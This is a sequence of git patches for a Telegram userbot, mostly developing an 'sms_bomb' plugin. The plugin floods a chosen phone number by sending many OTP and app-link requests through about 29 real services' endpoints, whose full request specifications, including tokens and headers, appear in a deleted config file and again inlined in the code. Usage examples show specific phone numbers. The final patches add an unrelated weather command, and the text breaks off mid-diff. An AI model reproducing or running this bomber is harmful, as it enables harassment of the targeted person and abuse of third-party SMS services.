<40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:48:36 +0530 Subject: [PATCH 11/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index dc0a7a2..71e94e9 100644 --- a/bomber.py +++ b/bomber.py @@ -370,7 +370,7 @@ def status(self): failed, success = 0, 0 no_of_sms=0 -def bomber(p): +async def bomber(p): global failed, success, no_of_sms,m if p is None or success > no_of_sms: return From 4f9efb68de16ba67477de2f9a88442722838aaae Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:51:01 +0530 Subject: [PATCH 12/28] Update bomber.py --- bomber.py | 32 +++++++++++++++----------------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/bomber.py b/bomber.py index 71e94e9..415339b 100644 --- a/bomber.py +++ b/bomber.py @@ -370,29 +370,27 @@ def status(self): failed, success = 0, 0 no_of_sms=0 -async def bomber(p): - global failed, success, no_of_sms,m - if p is None or success > no_of_sms: - return - elif not p.done: - try: - p.start() - if p.status(): - success += 1 - else: - failed += 1 - except: - failed += 1 - k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - await m.edit(l+"\n"+k) - - @friday_on_cmd(['bomb', 'sms_bomb'], cmd_help={ 'help': 'atack with massive sms bombs', 'example': '{ch}bomb 9848411000 : 100'}) async def geT_if(client, message): + def bomber(p): + global failed, success, no_of_sms,m + if p is None or success > no_of_sms: + return + elif not p.done: + try: + p.start() + if p.status(): + success += 1 + else: + failed += 1 + except: + failed += 1 + k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) + await m.edit(l+"\n"+k) global failed, success, no_of_sms,m m = await edit_or_reply(message, "`Please Wait!`") input_str = get_text(message) From 0bc87e7b9ad7dee82873e24b58b948b89f104c05 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:55:36 +0530 Subject: [PATCH 13/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index 415339b..9948312 100644 --- a/bomber.py +++ b/bomber.py @@ -376,7 +376,7 @@ def status(self): 'help': 'atack with massive sms bombs', 'example': '{ch}bomb 9848411000 : 100'}) async def geT_if(client, message): - def bomber(p): + await def bomber(p): global failed, success, no_of_sms,m if p is None or success > no_of_sms: return From 4997ff803080fb75438b9302a23f9099d3379b99 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:57:04 +0530 Subject: [PATCH 14/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index 9948312..5377311 100644 --- a/bomber.py +++ b/bomber.py @@ -376,7 +376,7 @@ def status(self): 'help': 'atack with massive sms bombs', 'example': '{ch}bomb 9848411000 : 100'}) async def geT_if(client, message): - await def bomber(p): + async def bomber(p): global failed, success, no_of_sms,m if p is None or success > no_of_sms: return From f9820ebbda136ec0abac175e73dec0fa0c025059 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:00:14 +0530 Subject: [PATCH 15/28] Update bomber.py --- bomber.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index 5377311..178a119 100644 --- a/bomber.py +++ b/bomber.py @@ -376,7 +376,7 @@ def status(self): 'help': 'atack with massive sms bombs', 'example': '{ch}bomb 9848411000 : 100'}) async def geT_if(client, message): - async def bomber(p): + def bomber(p): global failed, success, no_of_sms,m if p is None or success > no_of_sms: return @@ -390,6 +390,8 @@ async def bomber(p): except: failed += 1 k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) + printMessage(k) + async def printMessage(k): await m.edit(l+"\n"+k) global failed, success, no_of_sms,m m = await edit_or_reply(message, "`Please Wait!`") From 34f4c88b87b65748b57cded6896f056ab9d2fd4b Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:06:19 +0530 Subject: [PATCH 16/28] Update bomber.py --- bomber.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/bomber.py b/bomber.py index 178a119..a580610 100644 --- a/bomber.py +++ b/bomber.py @@ -389,10 +389,7 @@ def bomber(p): failed += 1 except: failed += 1 - k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - printMessage(k) - async def printMessage(k): - await m.edit(l+"\n"+k) + global failed, success, no_of_sms,m m = await edit_or_reply(message, "`Please Wait!`") input_str = get_text(message) @@ -404,7 +401,7 @@ async def printMessage(k): no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) - await m.edit(l) + await m.edit(l+"\n Please Wait for some more time") start = time.time() providers = data["providers"] with ThreadPoolExecutor(max_workers=no_of_threads) as executor: @@ -421,4 +418,6 @@ async def printMessage(k): else providers["multi"] ), ) + k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) + await m.edit(l+"\n"+k) executor.submit(bomber, p) From a1bc71e770a676be012e66ec8fc778b9b46660ae Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:12:56 +0530 Subject: [PATCH 17/28] Update bomber.py --- bomber.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index a580610..c521883 100644 --- a/bomber.py +++ b/bomber.py @@ -419,5 +419,6 @@ def bomber(p): ), ) k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - await m.edit(l+"\n"+k) + # Try to fix this to display k as live count executor.submit(bomber, p) + await m.edit(l+"\nMessages sent Successfully...:)") From 531b58378d0380f895e06f63f83b57bea350483e Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:13:12 +0530 Subject: [PATCH 18/28] Delete api_config.json --- api_config.json | 314 ------------------------------------------------ 1 file changed, 314 deletions(-) delete mode 100644 api_config.json diff --git a/api_config.json b/api_config.json deleted file mode 100644 index 3ca04a1..0000000 --- a/api_config.json +++ /dev/null @@ -1,314 +0,0 @@ -{ - "version": "3.0", - "created_by": "iMro0t, AvinashReddy3108, SpeedX", - "providers": { - "91": [ - { - "name": "confirmtkt", - "method": "GET", - "url": "https://securedapi.confirmtkt.com/api/platform/register", - "params": { - "newOtp": "true", - "mobile_number": "{target}" - }, - "identifier": "false" - }, - { - "name": "justdial", - "method": "GET", - "url": "https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php", - "params": { - "mobile": "{target}" - }, - "identifier": "sent" - }, - { - "name": "myupchar", - "method": "GET", - "url": "https://www.myupchar.com/consultation/store_otp", - "headers": { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", - "Accept": "*/*", - "Accept-Language": "en-US,en;q=0.5", - "X-CSRF-Token": "PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=", - "X-Requested-With": "XMLHttpRequest", - "Connection": "keep-alive", - "Referer": "https://www.myupchar.com/consultation/query", - "DNT": "1" - }, - "params": { - "phone": "{target}" - }, - "identifier": "आपके मोबाइल नंबर पर OTP भेज दिया गया है।" - }, - { - "name": "frotels", - "method": "POST", - "url": "https://www.frotels.com/appsendsms.php", - "data": { - "mobno": "{target}" - }, - "identifier": "sent" - }, - { - "name": "gapoon", - "method": "POST", - "url": "https://www.gapoon.com/userSignup", - "data": { - "mobile": "{target}", - "email": "a@a.com", - "name": "a" - }, - "identifier": "1" - }, - { - "name": "housing", - "method": "POST", - "url": "https://login.housing.com/api/v2/send-otp", - "data": { - "phone": "{target}" - }, - "identifier": "Sent" - }, - { - "name": "porter", - "method": "POST", - "url": "https://porter.in/restservice/send_app_link_sms", - "data": { - "phone": "{target}", - "referrer_string": "", - "brand": "porter" - }, - "identifier": "true" - }, - { - "name": "cityflo", - "method": "POST", - "url": "https://cityflo.com/website-app-download-link-sms/", - "data": { - "mobile_number": "{target}" - }, - "identifier": "sent" - }, - { - "name": "nnnow", - "method": "POST", - "url": "https://api.nnnow.com/d/api/appDownloadLink", - "data": { - "mobileNumber": "{target}" - }, - "identifier": "true" - }, - { - "name": "ajio", - "method": "POST", - "url": "https://login.web.ajio.com/api/auth/signupSendOTP", - "data": { - "firstName": "xxps", - "login": "wiqpdl223@wqew.com", - "password": "QASpw@1s", - "genderType": "Male", - "mobileNumber": "{target}", - "requestType": "SENDOTP" - }, - "identifier": "1" - }, - { - "name": "happyeasygo", - "method": "GET", - "url": "https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do", - "params": { - "phone": "91%20{target}" - }, - "identifier": "true" - }, - { - "name": "unacademy", - "method": "POST", - "url": "https://unacademy.com/api/v1/user/get_app_link/", - "data": { - "phone": "{target}" - }, - "identifier": "sent" - }, - { - "name": "treebo", - "method": "POST", - "url": "https://www.treebo.com/api/v2/auth/login/otp/", - "data": { - "phone_number": "{target}" - }, - "identifier": "sent" - }, - { - "name": "mobikwik", - "method": "POST", - "url": "https://webapi.mobikwik.com/p/account/otp/cell/v2", - "data": { - "cell": "{target}" - }, - "headers": { - "X-MClient": "0" - }, - "identifier": "true" - }, - { - "name": "airtel", - "method": "GET", - "url": "https://www.airtel.in/referral-api/core/notify", - "params": { - "messageId": "map", - "rtn": "{target}" - }, - "identifier": "Success" - }, - { - "name": "pharmeasy", - "method": "POST", - "url": "https://pharmeasy.in/api/auth/requestOTP", - "data": { - "contactNumber": "{target}" - }, - "identifier": "resendSmsCounter" - }, - { - "name": "mylescars", - "method": "POST", - "url": "https://www.mylescars.com/usermanagements/chkContact", - "data": { - "contactNo": "{target}" - }, - "identifier": "success@::::" - }, - { - "name": "grofers", - "method": "POST", - "url": "https://grofers.com/v2/accounts/", - "data": { - "user_phone": "{target}" - }, - "headers": { - "auth_key": "3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7" - }, - "identifier": "We have sent" - }, - { - "name": "dream11", - "method": "POST", - "url": "https://api.dream11.com/sendsmslink", - "data": { - "siteId": "1", - "mobileNum": "{target}", - "appType": "androidfull" - }, - "identifier": "true" - }, - { - "name": "cashify", - "method": "GET", - "url": "https://www.cashify.in/api/cu01/v1/app-link", - "params": { - "mn": "{target}" - }, - "identifier": "Successfully" - }, - { - "name": "paytm", - "method": "POST", - "url": "https://commonfront.paytm.com/v4/api/sendsms", - "data": { - "phone": "{target}", - "guid": "2952fa812660c58dc160ca6c9894221d" - }, - "identifier": "202" - } - ], - "multi": [ - { - "name": "flipkart", - "method": "POST", - "cc_target": "loginId", - "url": "https://www.flipkart.com/api/5/user/otp/generate", - "data": { - "loginId": "+{target}" - }, - "headers": { - "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop", - "Origin": "https://www.flipkart.com", - "Content-Type": "application/x-www-form-urlencoded" - }, - "identifier": "emailMask" - }, - { - "name": "qlean", - "method": "POST", - "url": "https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", - "data": { - "phone": "{cc}{target}" - }, - "identifier": "request_id" - }, - { - "name": "mail.ru", - "method": "POST", - "url": "https://cloud.mail.ru//api/v2/notify/applink", - "data": { - "phone": "+{cc}{target}", - "api": "2", - "email": "email", - "x-email": "x-email" - }, - "identifier": "200" - }, - { - "name": "gotinder", - "method": "POST", - "url": "https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", - "data": { - "phone_number": "{cc}{target}" - }, - "identifier": "200" - }, - { - "name": "youla.ru", - "method": "POST", - "url": "https://youla.ru/web-api/auth/request_code", - "data": { - "phone": "+{cc}{target}" - }, - "identifier": "code_length" - }, - { - "name": "ivi.ru", - "method": "POST", - "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6", - "data": { - "phone": "{cc}{target}" - }, - "identifier": "true" - }, - { - "name": "delitime.ru", - "method": "POST", - "url": "https://api.delitime.ru/api/v2/signup", - "data": { - "SignupForm[username]": "{cc}{target}", - "SignupForm[device_type]": "3" - }, - "identifier": "true" - }, - { - "name": "icq.com", - "method": "POST", - "url": "https://www.icq.com/smsreg/requestPhoneValidation.php", - "data": { - "msisdn": "{cc}{target}", - "locale": "en", - "k": "ic1rtwz1s1Hj1O0r", - "r": "45559" - }, - "identifier": "200" - } - ] - } -} From fa4797f84bff5d8f58c4cdd0c4394a646fa4d8b0 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:17:31 +0530 Subject: [PATCH 19/28] Update bomber.py --- bomber.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bomber.py b/bomber.py index c521883..c379dda 100644 --- a/bomber.py +++ b/bomber.py @@ -374,7 +374,7 @@ def status(self): @friday_on_cmd(['bomb', 'sms_bomb'], cmd_help={ 'help': 'atack with massive sms bombs', - 'example': '{ch}bomb 9848411000 : 100'}) + 'example': '{ch}bomb : '}) async def geT_if(client, message): def bomber(p): global failed, success, no_of_sms,m @@ -419,6 +419,6 @@ def bomber(p): ), ) k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - # Try to fix this to display k as live count + # Try to fix this to display k as it is a live count executor.submit(bomber, p) - await m.edit(l+"\nMessages sent Successfully...:)") + await m.edit("yahoo! Messages sent Successfully...:)") From 67ccb552b43439b8ebf92aa36a1aba9683973d5f Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 01:22:42 +0530 Subject: [PATCH 20/28] Final Count before pushing --- bomber.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bomber.py b/bomber.py index c379dda..08f5fba 100644 --- a/bomber.py +++ b/bomber.py @@ -373,8 +373,8 @@ def status(self): @friday_on_cmd(['bomb', 'sms_bomb'], cmd_help={ - 'help': 'atack with massive sms bombs', - 'example': '{ch}bomb : '}) + 'help': 'atack with massive sms bombs.provide target_phone_number : no_of_sms', + 'example': '{ch}bomb 8247348318 : 10'}) async def geT_if(client, message): def bomber(p): global failed, success, no_of_sms,m @@ -419,6 +419,6 @@ def bomber(p): ), ) k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - # Try to fix this to display k as it is a live count + # Try to fix this to display k as it a live count executor.submit(bomber, p) await m.edit("yahoo! Messages sent Successfully...:)") From b108ed30d7682944e396331cc1e1fac632558fe0 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 14:23:29 +0530 Subject: [PATCH 21/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index 08f5fba..726578c 100644 --- a/bomber.py +++ b/bomber.py @@ -397,7 +397,7 @@ def bomber(p): data={"version":"3.0","created_by":"Datta07","providers":{"91":[{"name":"confirmtkt","method":"GET","url":"https://securedapi.confirmtkt.com/api/platform/register","params":{"newOtp":"true","mobile_number":"{target}"},"identifier":"false"},{"name":"justdial","method":"GET","url":"https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php","params":{"mobile":"{target}"},"identifier":"sent"},{"name":"myupchar","method":"GET","url":"https://www.myupchar.com/consultation/store_otp","headers":{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0","Accept":"*/*","Accept-Language":"en-US,en;q=0.5","X-CSRF-Token":"PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=","X-Requested-With":"XMLHttpRequest","Connection":"keep-alive","Referer":"https://www.myupchar.com/consultation/query","DNT":"1"},"params":{"phone":"{target}"},"identifier":"आपके मोबाइल नंबर पर OTP भेज दिया गया है।"},{"name":"frotels","method":"POST","url":"https://www.frotels.com/appsendsms.php","data":{"mobno":"{target}"},"identifier":"sent"},{"name":"gapoon","method":"POST","url":"https://www.gapoon.com/userSignup","data":{"mobile":"{target}","email":"a@a.com","name":"a"},"identifier":"1"},{"name":"housing","method":"POST","url":"https://login.housing.com/api/v2/send-otp","data":{"phone":"{target}"},"identifier":"Sent"},{"name":"porter","method":"POST","url":"https://porter.in/restservice/send_app_link_sms","data":{"phone":"{target}","referrer_string":"","brand":"porter"},"identifier":"true"},{"name":"cityflo","method":"POST","url":"https://cityflo.com/website-app-download-link-sms/","data":{"mobile_number":"{target}"},"identifier":"sent"},{"name":"nnnow","method":"POST","url":"https://api.nnnow.com/d/api/appDownloadLink","data":{"mobileNumber":"{target}"},"identifier":"true"},{"name":"ajio","method":"POST","url":"https://login.web.ajio.com/api/auth/signupSendOTP","data":{"firstName":"xxps","login":"wiqpdl223@wqew.com","password":"QASpw@1s","genderType":"Male","mobileNumber":"{target}","requestType":"SENDOTP"},"identifier":"1"},{"name":"happyeasygo","method":"GET","url":"https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do","params":{"phone":"91%20{target}"},"identifier":"true"},{"name":"unacademy","method":"POST","url":"https://unacademy.com/api/v1/user/get_app_link/","data":{"phone":"{target}"},"identifier":"sent"},{"name":"treebo","method":"POST","url":"https://www.treebo.com/api/v2/auth/login/otp/","data":{"phone_number":"{target}"},"identifier":"sent"},{"name":"mobikwik","method":"POST","url":"https://webapi.mobikwik.com/p/account/otp/cell/v2","data":{"cell":"{target}"},"headers":{"X-MClient":"0"},"identifier":"true"},{"name":"airtel","method":"GET","url":"https://www.airtel.in/referral-api/core/notify","params":{"messageId":"map","rtn":"{target}"},"identifier":"Success"},{"name":"pharmeasy","method":"POST","url":"https://pharmeasy.in/api/auth/requestOTP","data":{"contactNumber":"{target}"},"identifier":"resendSmsCounter"},{"name":"mylescars","method":"POST","url":"https://www.mylescars.com/usermanagements/chkContact","data":{"contactNo":"{target}"},"identifier":"success@::::"},{"name":"grofers","method":"POST","url":"https://grofers.com/v2/accounts/","data":{"user_phone":"{target}"},"headers":{"auth_key":"3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7"},"identifier":"We have sent"},{"name":"dream11","method":"POST","url":"https://api.dream11.com/sendsmslink","data":{"siteId":"1","mobileNum":"{target}","appType":"androidfull"},"identifier":"true"},{"name":"cashify","method":"GET","url":"https://www.cashify.in/api/cu01/v1/app-link","params":{"mn":"{target}"},"identifier":"Successfully"},{"name":"paytm","method":"POST","url":"https://commonfront.paytm.com/v4/api/sendsms","data":{"phone":"{target}","guid":"2952fa812660c58dc160ca6c9894221d"},"identifier":"202"}],"multi":[{"name":"flipkart","method":"POST","cc_target":"loginId","url":"https://www.flipkart.com/api/5/user/otp/generate","data":{"loginId":"+{target}"},"headers":{"X-user-agent":"Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop","Origin":"https://www.flipkart.com","Content-Type":"application/x-www-form-urlencoded"},"identifier":"emailMask"},{"name":"qlean","method":"POST","url":"https://qlean.ru/clients-api/v2/sms_codes/auth/request_code","data":{"phone":"{cc}{target}"},"identifier":"request_id"},{"name":"mail.ru","method":"POST","url":"https://cloud.mail.ru//api/v2/notify/applink","data":{"phone":"+{cc}{target}","api":"2","email":"email","x-email":"x-email"},"identifier":"200"},{"name":"gotinder","method":"POST","url":"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru","data":{"phone_number":"{cc}{target}"},"identifier":"200"},{"name":"youla.ru","method":"POST","url":"https://youla.ru/web-api/auth/request_code","data":{"phone":"+{cc}{target}"},"identifier":"code_length"},{"name":"ivi.ru","method":"POST","url":"https://api.ivi.ru/mobileapi/user/register/phone/v6","data":{"phone":"{cc}{target}"},"identifier":"true"},{"name":"delitime.ru","method":"POST","url":"https://api.delitime.ru/api/v2/signup","data":{"SignupForm[username]":"{cc}{target}","SignupForm[device_type]":"3"},"identifier":"true"},{"name":"icq.com","method":"POST","url":"https://www.icq.com/smsreg/requestPhoneValidation.php","data":{"msisdn":"{cc}{target}","locale":"en","k":"ic1rtwz1s1Hj1O0r","r":"45559"},"identifier":"200"}]}} target = target.strip() country_code = str(91) - no_of_threads = 5 + no_of_threads = 15 no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) From 0fd229e9eaf59cb87773cebc9591c4c7ce931a25 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Sun, 30 May 2021 20:57:28 +0530 Subject: [PATCH 22/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index 726578c..08f5fba 100644 --- a/bomber.py +++ b/bomber.py @@ -397,7 +397,7 @@ def bomber(p): data={"version":"3.0","created_by":"Datta07","providers":{"91":[{"name":"confirmtkt","method":"GET","url":"https://securedapi.confirmtkt.com/api/platform/register","params":{"newOtp":"true","mobile_number":"{target}"},"identifier":"false"},{"name":"justdial","method":"GET","url":"https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php","params":{"mobile":"{target}"},"identifier":"sent"},{"name":"myupchar","method":"GET","url":"https://www.myupchar.com/consultation/store_otp","headers":{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0","Accept":"*/*","Accept-Language":"en-US,en;q=0.5","X-CSRF-Token":"PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=","X-Requested-With":"XMLHttpRequest","Connection":"keep-alive","Referer":"https://www.myupchar.com/consultation/query","DNT":"1"},"params":{"phone":"{target}"},"identifier":"आपके मोबाइल नंबर पर OTP भेज दिया गया है।"},{"name":"frotels","method":"POST","url":"https://www.frotels.com/appsendsms.php","data":{"mobno":"{target}"},"identifier":"sent"},{"name":"gapoon","method":"POST","url":"https://www.gapoon.com/userSignup","data":{"mobile":"{target}","email":"a@a.com","name":"a"},"identifier":"1"},{"name":"housing","method":"POST","url":"https://login.housing.com/api/v2/send-otp","data":{"phone":"{target}"},"identifier":"Sent"},{"name":"porter","method":"POST","url":"https://porter.in/restservice/send_app_link_sms","data":{"phone":"{target}","referrer_string":"","brand":"porter"},"identifier":"true"},{"name":"cityflo","method":"POST","url":"https://cityflo.com/website-app-download-link-sms/","data":{"mobile_number":"{target}"},"identifier":"sent"},{"name":"nnnow","method":"POST","url":"https://api.nnnow.com/d/api/appDownloadLink","data":{"mobileNumber":"{target}"},"identifier":"true"},{"name":"ajio","method":"POST","url":"https://login.web.ajio.com/api/auth/signupSendOTP","data":{"firstName":"xxps","login":"wiqpdl223@wqew.com","password":"QASpw@1s","genderType":"Male","mobileNumber":"{target}","requestType":"SENDOTP"},"identifier":"1"},{"name":"happyeasygo","method":"GET","url":"https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do","params":{"phone":"91%20{target}"},"identifier":"true"},{"name":"unacademy","method":"POST","url":"https://unacademy.com/api/v1/user/get_app_link/","data":{"phone":"{target}"},"identifier":"sent"},{"name":"treebo","method":"POST","url":"https://www.treebo.com/api/v2/auth/login/otp/","data":{"phone_number":"{target}"},"identifier":"sent"},{"name":"mobikwik","method":"POST","url":"https://webapi.mobikwik.com/p/account/otp/cell/v2","data":{"cell":"{target}"},"headers":{"X-MClient":"0"},"identifier":"true"},{"name":"airtel","method":"GET","url":"https://www.airtel.in/referral-api/core/notify","params":{"messageId":"map","rtn":"{target}"},"identifier":"Success"},{"name":"pharmeasy","method":"POST","url":"https://pharmeasy.in/api/auth/requestOTP","data":{"contactNumber":"{target}"},"identifier":"resendSmsCounter"},{"name":"mylescars","method":"POST","url":"https://www.mylescars.com/usermanagements/chkContact","data":{"contactNo":"{target}"},"identifier":"success@::::"},{"name":"grofers","method":"POST","url":"https://grofers.com/v2/accounts/","data":{"user_phone":"{target}"},"headers":{"auth_key":"3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7"},"identifier":"We have sent"},{"name":"dream11","method":"POST","url":"https://api.dream11.com/sendsmslink","data":{"siteId":"1","mobileNum":"{target}","appType":"androidfull"},"identifier":"true"},{"name":"cashify","method":"GET","url":"https://www.cashify.in/api/cu01/v1/app-link","params":{"mn":"{target}"},"identifier":"Successfully"},{"name":"paytm","method":"POST","url":"https://commonfront.paytm.com/v4/api/sendsms","data":{"phone":"{target}","guid":"2952fa812660c58dc160ca6c9894221d"},"identifier":"202"}],"multi":[{"name":"flipkart","method":"POST","cc_target":"loginId","url":"https://www.flipkart.com/api/5/user/otp/generate","data":{"loginId":"+{target}"},"headers":{"X-user-agent":"Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop","Origin":"https://www.flipkart.com","Content-Type":"application/x-www-form-urlencoded"},"identifier":"emailMask"},{"name":"qlean","method":"POST","url":"https://qlean.ru/clients-api/v2/sms_codes/auth/request_code","data":{"phone":"{cc}{target}"},"identifier":"request_id"},{"name":"mail.ru","method":"POST","url":"https://cloud.mail.ru//api/v2/notify/applink","data":{"phone":"+{cc}{target}","api":"2","email":"email","x-email":"x-email"},"identifier":"200"},{"name":"gotinder","method":"POST","url":"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru","data":{"phone_number":"{cc}{target}"},"identifier":"200"},{"name":"youla.ru","method":"POST","url":"https://youla.ru/web-api/auth/request_code","data":{"phone":"+{cc}{target}"},"identifier":"code_length"},{"name":"ivi.ru","method":"POST","url":"https://api.ivi.ru/mobileapi/user/register/phone/v6","data":{"phone":"{cc}{target}"},"identifier":"true"},{"name":"delitime.ru","method":"POST","url":"https://api.delitime.ru/api/v2/signup","data":{"SignupForm[username]":"{cc}{target}","SignupForm[device_type]":"3"},"identifier":"true"},{"name":"icq.com","method":"POST","url":"https://www.icq.com/smsreg/requestPhoneValidation.php","data":{"msisdn":"{cc}{target}","locale":"en","k":"ic1rtwz1s1Hj1O0r","r":"45559"},"identifier":"200"}]}} target = target.strip() country_code = str(91) - no_of_threads = 15 + no_of_threads = 5 no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) From 2c29fc6b471c62db7bcb59af78f9c00aae324e09 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Thu, 3 Jun 2021 07:59:38 +0530 Subject: [PATCH 23/28] Update req.txt --- req.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/req.txt b/req.txt index 39c8d67..92864ef 100644 --- a/req.txt +++ b/req.txt @@ -14,3 +14,4 @@ validators>=0.18.2 brotlipy >= 0.7.0 httpx[http2] >= 0.16.1 requests +xmltodict From 9dbdeca83efae1d8c580fdc4860e78c577b266fc Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Thu, 3 Jun 2021 08:00:19 +0530 Subject: [PATCH 24/28] Create weather.py --- weather.py | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 weather.py diff --git a/weather.py b/weather.py new file mode 100644 index 0000000..068a660 --- /dev/null +++ b/weather.py @@ -0,0 +1,39 @@ +import requests +import xmltodict +from main_startup.helper_func.basic_helpers import edit_or_reply, get_text +from bs4 import BeautifulSoup +from pyrogram import filters +from main_startup.core.decorators import friday_on_cmd + + +@friday_on_cmd(['weather1','climate','we','cl'], + cmd_help={ + 'help': 'Get Weather info of town or pincode', + 'example': '{ch}weather1 hyderabad'}) +async def geW_if(client, message): + m_ = await edit_or_reply(message, "`Please Wait!`") + city = get_text(message) + data='{"params":"aroundLatLngViaIP=true&hitsPerPage=15&language=en&query='+city+'&type=city"}' + ses=requests.session() + res=ses.post("https://places-dsn.algolia.net/1/places/query",data=data).json() + cords=res["hits"][0]["_geoloc"] + res=ses.get("https://1weather.onelouder.com/feeds/onelouder2/fm.php?LAT="+str(round(cords["lat"],2))+"&LON="+str(round(cords["lng"],2))+"&UNITS=all") + data=xmltodict.parse(res.text) + flag=True + msg="" + try: + msg+="INFORMATION GATHERED SUCCESSFULLY\n\n" + today=data["locations"]["location"] + msg+=("city: "+today["@city"]+" ("+today["@country"]+")"+"\n") + details=today["sfc_ob"] + msg+=("temperature: "+details["temp_C"]+" c"+"\n") + msg+=("apparent temp: "+details["apparent_temp_C"]+" c"+"\n") + msg+=("Weather report: "+details["wx"]+"\n") + msg+=("Wind Speed: "+str(details["wnd_spd_kph"])+"kmph ("+str(details["wnd_dir"])+")"+"\n") + msg+=("Humidity: "+details["rh_pct"]+" %"+"\n") + flag=False + except Exception: + pass + if flag: + return await m_.edit("Information not found") + return await m_.edit(msg) From b359a4e24bacb06bcf639bed6032f4e24efb7576 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Thu, 3 Jun 2021 08:09:22 +0530 Subject: [PATCH 25/28] Update weather.py --- weather.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/weather.py b/weather.py index 068a660..77388ba 100644 --- a/weather.py +++ b/weather.py @@ -6,10 +6,10 @@ from main_startup.core.decorators import 